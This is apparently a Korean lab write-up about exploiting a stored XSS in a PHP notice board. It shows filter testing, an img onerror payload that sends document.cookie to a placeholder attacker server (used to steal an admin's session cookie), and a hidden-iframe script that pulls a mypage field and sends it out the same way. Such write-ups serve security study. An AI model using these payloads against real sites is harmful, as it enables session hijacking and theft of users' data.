XSS 4번 풀이

황인환·2024년 7월 6일

XSS 발생위치

발생위치URL
글쓰기 처리페이지http://URL/notice_write_process.php
글수정 처리페이지http://URL/notice_update_process.php

XSS 종류

- Stored XSS 정의

-> 서버에 임의의 스크립트를 저장
-> 해당 페이지에 접근하는 클라이언트에게 저장된 스크랩트 실행

- Stored XSS 특징

-> 입력값과 출력값이 같은페이지에 일어나지 않아도됨
--> reflected XSS는 입력값과 출력값이 같아야함
-> 광범위하게 퍼짐
--> 위험

XSS Point 찾기

  • Burp Suite에서 point 찾기
  • Burp Suite에서 스크랩트 삽입

특수문자 TEST

TEST방법

  • <,',",> 넣어보기
글수정 페이지에 <,',",>삽입
글읽기 페이지에서 확인

결과

  • <,',",> 모두 사용할 수 있음

Filtering TEST

사용할 태그와 함수 TEST

  • 글수정 페이지에 <script>, <img>,alert()삽입
글수정 페이지에 스크립트 삽입
글읽기 페이지에서 확인

결과

  • <script> -> <>출력 -> 사용불가
  • alert() -> 나타나지 않음 -> 사용불가
  • <img> -> <img> 출력-> 사용가능

Cookie정보 가져오기

Document.cookie로 쿠키 가져오기

  • <img>태그와 prompt()함수를 활용
    <img src=x/>삽입
글수정 페이지에 스크립트 삽입
글읽기 페이지에서 확인
prompt 작동확인
  • <img>을 쓴 이유
    -> <script>를 사용할 수 없기 때문

  • prompt를 쓴 이유
    -> alert을 쓸 수 없기 때문

<img>태그를 숨기기

  • 페이지에 방문하면 <img>가 나타남
    -> <img>태그에 style="display:none;" 삽입
<img>태그 error스크립트 삽입 후

new Image() 함수를 활용

  • 공격자 서버로 쿠키정보 전송
    good"/><img+src=x+onerror="new+Image().src='공격자서버URL?cookie='%2Bdocument.cookie삽입
글수정 페이지에 스크립트 삽입
글읽기 페이지에서 확인
공격자 서버에서 확인

관리자에게 TEST

  • 스크립트가 삽입된 URL을 관리자에게 TEST
TEST
공격자 서버에서 확인

결과

세션ID가 포함된 쿠키정보 탈환성공

다른페이지 정보가져오기

iframe태그 사용

  • Mypage URL 삽입
    -> <iframe src="Mypage URL"></iframe>
글수정 페이지에 스크립트 삽입
글읽기 페이지에서 확인
공격자 서버에서 확인

iframe으로 정보 탈취

prompt로 정보띄우기

  • iframe에서 정보 가져오는 스크립트
test<iframe src="http://mypageURL/xss_5/mypage.php" id ="plz" style="display:none;"></iframe>
<img src=x onerror="document.getElementById('plz').onload=function(){let target = document.getElementById('plz'); let DOM = target.contentDocument; let want = DOM.getElementsByName('info'); prompt(want[0].placeholder);}" style="display:none;">
글수정 페이지에 스크립트 삽입
글읽기 페이지에서 확인
prompt로 확인

new Image로 서버에 데이터 전송

  • prompt(want[0].placeholder);를 빼고 new Image().src='공격자서버URL?info='+want[0].placeholder; 삽입
공격자서버 확인

0개의 댓글